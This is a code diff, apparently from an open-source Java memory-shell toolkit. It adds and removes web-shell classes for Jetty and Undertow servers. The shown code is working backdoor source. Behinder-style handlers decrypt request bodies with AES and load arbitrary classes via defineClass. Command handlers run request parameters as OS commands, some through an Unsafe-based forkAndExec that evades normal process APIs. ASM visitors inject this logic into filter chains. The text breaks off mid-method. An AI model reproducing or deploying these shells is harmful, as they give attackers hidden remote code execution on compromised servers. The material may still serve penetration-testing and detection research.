Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -1,81 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.behinder.jetty;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class BehinderHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object res
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Object response = res;
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = field.get(response);
}
obj.put("response", response);
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
obj.put("session", session);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] data = null;
Class<?> base64;
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
byte[] bytes = c.doFinal(data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,86 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.behinder.undertow;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class BehinderServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Object response = res;
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = field.get(response);
}
obj.put("response", response);
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
obj.put("session", session);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
byte[] data = null;
Class<?> base64;
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
byte[] bytes = c.doFinal(data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,199 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class Command {
public static String paramName;
public String getParam(String param) {
return param;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]);
Object response = unwrapResponse(args[1]);
try {
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
public InputStream getInputStream(String cmd) {
return null;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
try {
Object r = getFieldValue(request, "request");
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,36 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import net.bytebuddy.asm.Advice;
import java.io.InputStream;
import java.io.OutputStream;
/**
* @author ReaJason
*/
public class CommandFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String paramName = "paramName";
try {
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -1,181 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argumentTypes;
}
@Override
public void visitCode() {
super.visitCode();
int startIndex = 1;
for (Type type : argumentTypes) {
startIndex += type.getSize();
}
// Explicitly define indices for all local variables
int paramNameIndex = startIndex;
int cmdIndex = startIndex + 1;
int processIndex = startIndex + 2;
int inputStreamIndex = startIndex + 3;
int outputStreamIndex = startIndex + 4;
int bufferIndex = startIndex + 5;
int lengthIndex = startIndex + 6;
int exceptionIndex = startIndex + 7;
// Access method arguments - adjust based on whether method is static or not
int requestIndex = 1; // Arg index 1
int responseIndex = 2; // Arg index 2
// Define our parameter name
mv.visitLdcInsn("paramName");
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
// Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
// Get the parameter from request: request.getParameter(paramName)
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke the getParameter method
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
// Check if cmd is not null
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
Label ifNullLabel = new Label();
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process in local var 5
// Get input stream: InputStream inputStream = exec.getInputStream();
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
"()Ljava/io/InputStream;", false);
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6
// Get response output stream
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getOutputStream");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7
// Create buffer: byte[] buf = new byte[8192];
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8
// While loop to read and write data
Label loopStart = new Label();
Label loopEnd = new Label();
// Start of loop
mv.visitLabel(loopStart);
// Read data: inputStream.read(buf)
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
"([B)I", false);
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9
// Check if length == -1
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitInsn(Opcodes.ICONST_M1);
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
// Write data: outputStream.write(buf, 0, length)
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
"([BII)V", false);
// Go back to start of loop
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
// End of loop
mv.visitLabel(loopEnd);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// If cmd is null, continue with original method
mv.visitLabel(ifNullLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
// End of catch block
mv.visitLabel(afterCatch);
}
}
@@ -0,0 +1,163 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandJettyHandler {
public static String paramName;
public String getParam(String param) {
return param;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) {
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -0,0 +1,149 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandUndertowServletHandler {
public static String paramName;
public String getParam(String param) {
return param;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -1,38 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command.jetty;
import net.bytebuddy.asm.Advice;
import java.io.InputStream;
import java.io.OutputStream;
/**
* @author ReaJason
*/
public class CommandHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object response
) {
String paramName = "paramName";
try {
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (cmd != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true;
}
} catch (Exception ignored) {
}
return false;
}
}
@@ -1,196 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command.jetty;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
/**
* @author ReaJason
*/
public class CommandHandlerAsmMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
public CommandHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argumentTypes;
}
@Override
public void visitCode() {
super.visitCode();
// Calculate the first available local variable index
int startIndex = 1;
for (Type type : argumentTypes) {
startIndex += type.getSize();
}
// Explicitly define indices for all local variables
int paramNameIndex = startIndex;
int cmdIndex = startIndex + 1;
int processIndex = startIndex + 2;
int inputStreamIndex = startIndex + 3;
int outputStreamIndex = startIndex + 4;
int bufferIndex = startIndex + 5;
int lengthIndex = startIndex + 6;
int exceptionIndex = startIndex + 7;
// Access method arguments - adjust based on whether method is static or not
int baseRequestIndex = 2; // Arg index 1
int requestIndex = 3; // Arg index 2
int responseIndex = 4; // Arg index 3
// Define our parameter name
mv.visitLdcInsn("paramName");
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex);
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label returnFalseLabel = new Label();
// Register the try-catch block
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke the getParameter method
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
mv.visitInsn(Opcodes.AASTORE);
